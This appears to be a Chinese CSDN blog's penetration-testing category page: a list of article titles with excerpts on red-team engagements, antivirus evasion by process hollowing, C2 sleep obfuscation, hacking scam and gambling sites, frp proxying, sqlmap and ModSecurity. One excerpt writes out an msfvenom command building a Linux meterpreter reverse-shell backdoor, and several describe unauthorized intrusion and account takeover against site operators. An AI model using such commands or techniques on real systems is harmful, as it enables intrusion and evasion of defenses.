![](https://img-blog.csdnimg.cn/20201014180756923.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
渗透测试
文章平均质量分 92
帅大大的架构之路
坚持!努力!奋斗!
展开
-
记录一次渗透测试艰难打点的过程
此次打点过程比较艰难,用了大概三天的时间,发现帆软的系统对于这次项目来说是个绝对性的突破点,主要还是要细心,如果没注意到浏览器选项卡的logo变化,可能就错过这个漏洞了。转载 2023-09-01 11:07:50 · 541 阅读 · 0 评论 -
新型后门睡眠技术赏析
在Cobalt Strike等传统C2中,往往利用一段独立的混淆保护逻辑(Sleep Stub)实现对内存空间的加密,但Sleep Stub中对载荷的加密逻辑本身既存在于一段可执行空间中,又无法对该空间进行加密,只能暴露在内存空间中,因此Sleep Stub实际上在保护执行载荷的同时也引入了新的检测特征。此外,针对常见的睡眠手段,如利用Sleep()、CPU时间戳等实现的睡眠行为已经有了非常成熟的对抗方式,通过线程状态筛查、栈回溯、敏感API监控等方式能够较好地对潜在的恶意载荷进行筛查。转载 2023-08-19 22:46:16 · 312 阅读 · 0 评论 -
游戏黑灰产识别和溯源取证
游戏黑灰产的对抗工作,不是简单的一环,而是一个完整的产业链。开发各类黑灰产工具,具备一定的研发能力,大多使用Python、Lua、易语言、按键精灵、TC脚本,有较强的反侦查和反检测能力,并且都具有固定的中游销售渠道(代理或内部工作室),多为兼职人员。溯源处理,通过对游戏登录的用户信息,用户的设备信息,用户游戏中的行为等数据,对这些数据进行做加工,进行情报溯源处理。溯源处理,通过对游戏登录的用户信息,用户的设备信息,用户游戏中的行为等数据,对这些数据进行做加工,进行情报溯源处理。6、批量行为都是有迹可循的。转载 2023-08-14 18:03:08 · 2815 阅读 · 0 评论 -
某银行外网打点到内网核心区红队评估复盘
走投无路的时候,翻了翻源码中的初始化sql文件,发现系统在启动过程中,会执行这些sql文件,从而默认会添加一个测试账号,于是使用此测试账号,登录后台获取webshell,后续主要的内网横向是通过这个入口开展的。内网横向漏洞都是比较常规的,比如说MS17-010漏洞获取windows系统权限,zabbix可以执行命令,API网关管理员弱口令、移动办公系统的姓名、手机号信息,商户管理系统的shiro反序列化等等,这里就不过多叙述了。外网的那些无法拿权限的漏洞,在后渗透阶段,会提供很好的信息支持。转载 2023-08-01 15:29:09 · 446 阅读 · 0 评论 -
使用进程镂空技术免杀360Defender
风暴免杀实现了进程注入和进程镂空技术以达到隐匿和免杀的效果,进程注入是利用windows API在目标进程中申请一块内存,然后将shellcode直接注入其中并创建线程运行,恶意的shellcode直接运行在目标程序内,结合运行后删除自身/从网络加载shellcode等方式,具备非常好的隐匿效果,目前测试只能稳定注入到explorer.exe进程中。通过hook技术可以实现对任意程序的监控,可以监视木马程序的行为,监控关键API调用等,于是出现了主动防御、沙箱等查杀技术。转载 2023-07-11 16:09:03 · 774 阅读 · 0 评论 -
记一次通过供应链拿到目标后台权限的过程
经过初步的信息收集后,发现该医院并无官网,只有一个微信公众号提供了预约挂号,缴费等功能,看来只能把突破点放在这个公众号上了。有了这些信息,我开始使用姓名和工号等组合成gitlab的用户名,使用常用弱口令定向爆破,期望能有一两个结果,但是还是无果,看来此gitlab对密码强度有要求,弱口令是走不通了。由于我们的目标是拿权限,所以重点对此页面的接口进行了sql注入和越权等测试,无果,也没有任何的文件上传接口,开始卡到这里了。这台服务器是开放了mysql数据库的,利用此信息,我又成功登录了mysql数据库。转载 2023-06-21 18:10:29 · 194 阅读 · 0 评论 -
一次不太成功的反诈骗渗透测试
今天朋友突然告诉我,某转买手机被骗了1200块钱,心理一惊,果然不出所料,那我来试试吧。果断收集一下信息:(由于留言骗子返还朋友钱款,暂时给他留点面子,打点马赛克)由于www用户无法写入mysql目录.so文件,无法使用mysql提权。(现在大家知道不要相信qq微信交易的重要性了吧,这种杀猪盘很容易坑人)访问其他站点都能访问,解析ip都是这个,终于发现一个php7的。sudo一直要使用www密码,结果也是无法使用sudo。好家伙,禁用的函数如此之多,那行吧,绕过呗。查看端口,一猜就是宝塔面板搭建,转载 2023-04-04 18:34:46 · 202 阅读 · 0 评论 -
bc渗透,到社工20w会员的源码站站长
年月日完全没有找到,打算登录邮箱看看有没有,找了一个泉州的ip,代理成功登录上QQ,完全可以说明这个人就在泉州,翻了一大圈都没有啥收货,只得到了一个没用的服务器和一个免签平台,我这里打算登录他的godady,不出意外服务器和域名都在这里,godady的用户名都拼接了好久,结果拼接对了登不上,重置了他的密码,但是有两步验证,还需要手机验证码,放弃这一步了。由于昨天本来想钓鱼的,在这个网站前端添加了一个flsh的钓鱼窗口,但是这个人不傻,没有下载,反而还上了安全狗,但就这个安全狗就成了这次社工的突破点。转载 2023-04-01 09:35:58 · 779 阅读 · 2 评论 -
记一次对某非法站点SQL注入到整站打包与本地搭建全过程
如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。转载 2023-03-31 16:57:16 · 153 阅读 · 0 评论 -
一次BC站点的GetShell过程
本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。本文转自https://forum.butian.net/people/2968,如有侵权,请联系删除。转载 2023-03-30 17:24:00 · 353 阅读 · 0 评论 -
红队攻防-外网快速打点方法&技巧总结
总而言之,打点本身就是一种遍历行为,被攻击的目标就好像一个被围墙保护的城堡,红队要做的事情就是围着围墙转来转去,敲敲打打,看看围墙哪里没修好,哪里空了一块,然后趁机溜进去, 这是一个体力劳动,尤其在面对很多目标的时候,是一项繁重的体力劳动,在下文中会详细解释为什么我反复强调这是一项体力劳动。7、通过上面一番筛选,时间已经过去很久了,但是目前却毫无进展,其实心里有点郁闷,这个时候就不建议再搞了,先休息一下,调整下心态,不然后续的几天会大幅度降低工作效率,休息好了感觉又可以了,就看看下面的步骤8继续吧。转载 2023-01-03 13:36:38 · 6471 阅读 · 4 评论 -
实战攻防演习之红队
红队,一般是指网络实战攻防演习中的攻击一方。红队一般会针对目标系统、人员、软件、硬件和设备同时执行的多角度、混合、对抗性的模拟攻击;通过实现系统提权、控制业务、获取数据等目标,来发现系统、技术、人员和基础架构中存在的网络安全隐患或薄弱环节。红队人员并不是一般意义上的电脑黑客。因为黑客往往以攻破系统,获取利益为目标;而红队则是以发现系统薄弱环节,提升系统安全性为目标。此外,对于一般的黑客来说,只要发现某一种攻击方法可以有效地达成目标,通常就没有必要再去尝试其他的攻击方法和途径;转载 2022-09-28 10:44:22 · 406 阅读 · 0 评论 -
DoS攻击
原文DoS攻击(Denial of Service,拒绝服务攻击)通过消耗计算机的某种资源,例如计算资源、网络连接等,造成资源耗尽,导致服务端无法为合法用户提供服务或只能提供降级服务。在SDN网络的集中式架构中,控制器是天然的网络中心,负责整个网络的管理和控制工作,很容易成为DoS攻击的目标。在OpenFlow网络架构中,控制器是网络的核心,承担了整个网络的控制管理工作;控制器需要对整个网络进行不同粒度的管理,网络本身的数据传输需求会对控制层面造成不小的压力;尤其当存在恶意攻击时,控制层面甚至可能无法对合法转载 2022-09-19 17:30:01 · 6221 阅读 · 0 评论 -
利用Frp建立多层代理
原文目录简介Frp原理模拟环境多层网络实战Frp访问第一层网络服务端配置客户端配置Proxifier连接Frp访问第二层网络Frp访问第三层网络简介frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp 主要由 客户端(frpc) 和 服务端(frps) 组成,服务端,客户端通常部署在需要穿透的内网服务所在的机器上。项目地址:frp · Gi转载 2022-05-26 16:21:43 · 6057 阅读 · 0 评论 -
msfvenom
在使用最新版msf时msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST 192.168.70.19 LPORT 4444 -f elf > backdoor.elf报错如下[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payl...原创 2020-04-20 16:55:54 · 2814 阅读 · 1 评论 -
ASCII码对照表
偷来的~~哈啊哈哈哈哈chr(9) tab空格 chr(10) 换行 chr(13) 回车 Chr(13)&chr(10) 回车换行 chr(32) 空格符 chr(34) 双引号 chr(39) 单引号chr(33) ! chr(34) " chr(35) # chr(36)...原创 2020-04-28 16:59:01 · 1166 阅读 · 0 评论 -
使用sqlmap中遇到的一些坑
找到了一个注入点,然后用sqlmap也很容易就跑出了库表数据,但是在读取目标服务器系统文件和上传文件的过程中遇到一些小问题1.使用–file-read 命令的时候不能读取到系统文件原因:mysql里面有个权限不对,查看该权限命令show global variables like 'secure_file_priv';| secure_file_priv | NULL |mysql5.7之后这里默认是NULL,需要改成空| secure_file_priv |原创 2020-09-24 10:46:23 · 2988 阅读 · 0 评论 -
ModSecurity(3.0.x)部署
创建用于存在配置文件的文件夹将/usr/local/Modsecurity/modsecurity.conf-recommended复制到/usr/local/nginx/conf/modsecurity,并重命名为modsecurity.conf;将/usr/local/Modsecurity/unicode.mapping复制到/usr/local/nginx/conf/modsecurity;下载规则文件压缩包。原创 2020-12-08 14:44:51 · 1804 阅读 · 0 评论